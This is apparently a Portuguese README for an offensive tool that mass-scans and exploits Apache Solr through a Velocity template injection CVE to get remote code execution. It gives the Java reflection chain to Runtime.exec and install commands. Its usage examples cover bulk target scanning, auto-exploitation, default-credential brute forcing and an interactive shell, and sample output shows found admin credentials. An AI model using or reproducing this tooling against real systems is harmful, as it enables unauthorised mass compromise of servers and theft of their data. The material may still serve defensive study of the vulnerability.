
☄️ Estrutura de reconhecimento em massa e exploração para Apache Solr CVE-2026-44825 — Injeção de template Velocity para RCE
CVE-2026-44825 é uma vulnerabilidade de severidade crítica no Apache Solr que permite que atacantes atinjam Execução Remota de Código (RCE) não autenticada através da injeção de templates Velocity.
O endpoint /select do Apache Solr aceita um parâmetro wt=velocity que renderiza templates Velocity fornecidos pelo usuário. Quando o Velocity Response Writer está ativado (ou pode ser ativado via API de configuração), um atacante pode injetar um template malicioso que chama java.lang.Runtime.exec(), executando comandos arbitrários do sistema com os privilégios do processo Solr.
| Vetor | Severidade | Impacto |
|---|---|---|
| RCE não autenticada | 9.8 (Crítico) | Comprometimento total do sistema |
| RCE autenticada | 8.8 (Alto) | Execução de código pós-autenticação |
| Divulgação de Informações | 5.3 (Médio) | Enumeração de cores/coleções |
O Apache Solr inclui o Apache Velocity como um mecanismo de template opcional para renderização de respostas. A vulnerabilidade reside no VelocityResponseWriter do Solr, que processa parâmetros de template controlados pelo usuário sem sanitização adequada, permitindo a invocação direta de APIs de reflexão do Java:
Cadeia de Reflexão Java:
vtl → Class.forName("java.lang.Runtime") → getRuntime().exec(cmd)
| Versão do Apache Solr | Status | Notas |
|---|---|---|
| 9.4.0 – 9.10.1 | 🔴 Vulnerável | Exploração ativa na natureza |
| 10.0.0 | 🔴 Vulnerável | Lançamento inicial 10.x afetado |
| 10.0.1+ | 🟢 Corrigido | Correção retroportada |
| 9.10.2+ | 🟢 Corrigido | Versão de correção disponível |
| ≤ 9.3.x | 🟢 Não Afetado | Velocity Response Writer não presente |
| 8.x (todas) | 🟢 Não Afetado | Sem suporte a Velocity |
Nota: As verificações de versão são realizadas automaticamente analisando a resposta JSON
/admin/info/system.
🔍 Reconhecimento
|
💀 Exploração
|
# Clone o repositório
git clone https://github.com/shinthink/solrradar.git
cd solrradar
# Instale as dependências
pip install -r requirements.txt
# Verifique
python solr_scanner.py --help
requests>=2.28.0
urllib3>=1.26.0
Apenas bibliotecas padrão +
requests. Sem dependências exóticas.
CVE-2026-44825 Apache Solr Scanner
-t, --target URL ou IP[:porta] do alvo único
-f, --file Arquivo contendo alvos (um por linha, # para comentários)
--exploit Auto-explorar se credenciais vulneráveis forem encontradas
--rce Iniciar shell interativo após autenticação
-u, --user Nome de usuário para Basic Auth
-pw, --password Senha para Basic Auth
-o, --output Caminho do arquivo de saída JSON (padrão: solr_results.json)
-w, --workers Número de threads concorrentes (padrão: 30)
-T, --timeout Tempo limite da requisição HTTP (segundos) (padrão: 8)
# Alvo único
python solr_scanner.py -t 192.168.1.100:8983
# Alvo único com caminho personalizado
python solr_scanner.py -t http://example.com/solr
# Varredura em massa a partir de arquivo
python solr_scanner.py -f targets.txt -o results.json
# targets.txt — suporta comentários e linhas em branco
192.168.10.10:8983
192.168.10.20:8983
http://solr-target.internal/solr
192.168.1.0/24 # (CIDR não suportado; pré-expanda com ferramenta externa)
# Varredura + auto-exploração se credenciais encontradas
python solr_scanner.py -f targets.txt --exploit
# Credenciais conhecidas + shell interativa
python solr_scanner.py -t target:8983 --rce -u admin -pw SolrRocks
# Auto força bruta + shell em caso de sucesso
python solr_scanner.py -t target:8983 --rce
$ python solr_scanner.py -f targets.txt
CVE-2026-44825 Apache Solr Scanner
Alvos: 3 | Threads: 30 | Timeout: 8s
Varrendo...
[Solr 8.11.2] http://192.168.10.10:8983/solr
[Solr 8.11.2] http://192.168.10.20:8983/solr
Cols (sem auth): ['authority', 'dfa', 'oai', 'search']
[Solr 9.4.1] VULN +Auth http://solr-target.internal/solr
Concluído. Total:3 | Solr:3 | Vuln:1
Todos os 3 alvos detectados. A instância 9.4.1 é sinalizada como vulnerável com Basic Auth ativado.
$ python solr_scanner.py -t solr-target.internal
CVE-2026-44825 Apache Solr Scanner
[Solr 9.4.1] VULN +Auth http://solr-target.internal/solr
[!] admin:SolrRocks
Cols: ['cms', 'users', 'search', 'analytics']
A credencial padrão
admin:SolrRocksconcede acesso às APIs admin do Solr. Quatro coleções descobertas.
$ python solr_scanner.py -t target:8983 --rce -u admin -pw SolrRocks